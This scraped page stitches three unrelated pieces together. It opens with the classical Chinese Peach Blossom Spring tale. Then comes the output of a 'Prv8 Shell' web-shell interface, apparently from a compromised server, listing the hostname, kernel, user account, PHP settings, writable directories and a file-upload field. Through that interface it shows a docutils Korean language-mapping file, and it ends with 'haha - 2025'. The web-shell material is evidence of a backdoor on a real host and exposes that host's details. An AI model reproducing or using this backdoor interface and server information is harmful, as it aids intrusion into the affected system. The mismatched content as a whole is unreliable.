晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /opt/imunify360/venv/lib64/python3.11/site-packages/docutils/languages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/imunify360/venv/lib64/python3.11/site-packages/docutils/languages/ko.py
# $Id: ko.py 9030 2022-03-05 23:28:32Z milde $
# Author: Thomas SJ Kang <thomas.kangsj@ujuc.kr>
# Copyright: This module has been placed in the public domain.

# New language mappings are welcome.  Before doing a new translation, please
# read <https://docutils.sourceforge.io/docs/howto/i18n.html>.
# Two files must be translated for each language: one in docutils/languages,
# the other in docutils/parsers/rst/languages.

"""
Korean-language mappings for language-dependent features of Docutils.
"""

__docformat__ = 'reStructuredText'

labels = {
      # fixed: language-dependent
      'author': '저자',
      'authors': '저자들',
      'organization': '조직',
      'address': '주소',
      'contact': '연락처',
      'version': '버전',
      'revision': '리비전',
      'status': '상태',
      'date': '날짜',
      'copyright': '저작권',
      'dedication': '헌정',
      'abstract': '요약',
      'attention': '집중!',
      'caution': '주의!',
      'danger': '!위험!',
      'error': '오류',
      'hint': '실마리',
      'important': '중요한',
      'note': '비고',
      'tip': '팁',
      'warning': '경고',
      'contents': '목차'}
"""Mapping of node class name to label text."""

bibliographic_fields = {
      # language-dependent: fixed
      '저자': 'author',
      '저자들': 'authors',
      '조직': 'organization',
      '주소': 'address',
      '연락처': 'contact',
      '버전': 'version',
      '리비전': 'revision',
      '상태': 'status',
      '날짜': 'date',
      '저작권': 'copyright',
      '헌정': 'dedication',
      '요약': 'abstract'}
"""Korean to canonical name mapping for bibliographic fields."""

author_separators = [';', ',']
"""List of separator strings for the 'Authors' bibliographic field. Tried in
order."""

haha - 2025